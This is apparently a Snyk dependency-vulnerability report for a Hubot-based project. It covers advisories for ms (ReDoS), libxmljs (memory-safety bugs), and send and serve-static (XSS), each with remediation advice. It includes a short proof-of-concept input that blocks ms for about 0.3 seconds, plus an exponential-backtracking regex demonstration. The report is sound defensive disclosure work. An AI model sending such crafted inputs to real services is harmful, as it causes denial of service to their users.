    Remediation: Open PR to patch ms@0.7.1.
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 serve-favicon@2.3.2 ms@0.7.2
    Remediation: Open PR to patch ms@0.7.2.

Overview

ms is a tiny millisecond conversion utility.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to an incomplete fix for previously reported vulnerability npm:ms:20151024. The fix limited the length of accepted input string to 10,000 characters, and turned to be insufficient making it possible to block the event loop for 0.3 seconds (on a typical laptop) with a specially crafted string passed to ms() function.

Proof of concept

ms = require('ms');
ms('1'.repeat(9998) + 'Q') // Takes about ~0.3s

Note: Snyk's patch for this vulnerability limits input length to 100 characters. This new limit was deemed to be a breaking change by the author. Based on user feedback, we believe the risk of breakage is very low, while the value to your security is much greater, and therefore opted to still capture this change in a patch for earlier versions as well. Whenever patching security issues, we always suggest to run tests on your code to validate that nothing has been broken.

For more information on Regular Expression Denial of Service (ReDoS) attacks, go to our blog.

Disclosure Timeline

  • Feb 9th, 2017 - Reported the issue to package owner.
  • Feb 11th, 2017 - Issue acknowledged by package owner.
  • April 12th, 2017 - Fix PR opened by Snyk Security Team.
  • May 15th, 2017 - Vulnerability published.
  • May 16th, 2017 - Issue fixed and version 2.0.0 released.
  • May 21th, 2017 - Patches released for versions >=0.7.1, <=1.0.0.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade ms to version 2.0.0 or higher.

References

low severity

Buffer Under-read

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Buffer Under-read in the xmlSchemaIDCFillNodeTables() function. An attacker can cause partial denial of service by by validating a malicious XML document against an XML schema using xsd:keyref in combination with recursively defined types that have additional identity constraints.

Remediation

There is no fixed version for libxmljs.

References

low severity

Out-of-bounds Read

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Out-of-bounds Read in the xmlPythonFileRead() function in libxml.c, which exposes the application to a potentially exploitable crash, when parsing inputs involving malformed character encoding data.

Remediation

There is no fixed version for libxmljs.

References

low severity

Cross-site Scripting

  • Vulnerable module: send
  • Introduced through: hubot@2.19.0

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 serve-static@1.10.3 send@0.13.2
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 send@0.13.0
    Remediation: Upgrade to hubot@3.1.0.

Overview

send is a Better streaming static file server with Range and conditional-GET support

Affected versions of this package are vulnerable to Cross-site Scripting due to improper user input sanitization passed to the SendStream.redirect() function, which executes untrusted code. An attacker can execute arbitrary code by manipulating the input parameters to this method.

Note:

Exploiting this vulnerability requires the following:

  1. The attacker needs to control the input to response.redirect()

  2. Express MUST NOT redirect before the template appears

  3. The browser MUST NOT complete redirection before

  4. The user MUST click on the link in the template

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade send to version 0.19.0, 1.1.0 or higher.

References

low severity

Cross-site Scripting

  • Vulnerable module: serve-static
  • Introduced through: hubot@2.19.0

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 serve-static@1.10.3

Overview

serve-static is a server.

Affected versions of this package are vulnerable to Cross-site Scripting due to improper sanitization of user input in the redirect function. An attacker can manipulate the redirection process by injecting malicious code into the input.

Note

To exploit this vulnerability, the following conditions are required:

  1. The attacker should be able to control the input to response.redirect()

  2. express must not redirect before the template appears

  3. the browser must not complete redirection before:

  4. the user must click on the link in the template

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade serve-static to version 1.16.0, 2.1.0 or higher.

References

low severity

Stack-based Buffer Overflow

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Stack-based Buffer Overflow due to unsafe use of strcpy() in the xmllint interactive shell command tool. An attacker can cause a crash by providing an overly long argument to any shell command during an interactive session.

Note:

This vulnerability affects only the interactive shell and requires that an attacker can influence or control the command input to xmllint, which is uncommon in typical deployments.

Remediation

There is no fixed version for libxmljs.

References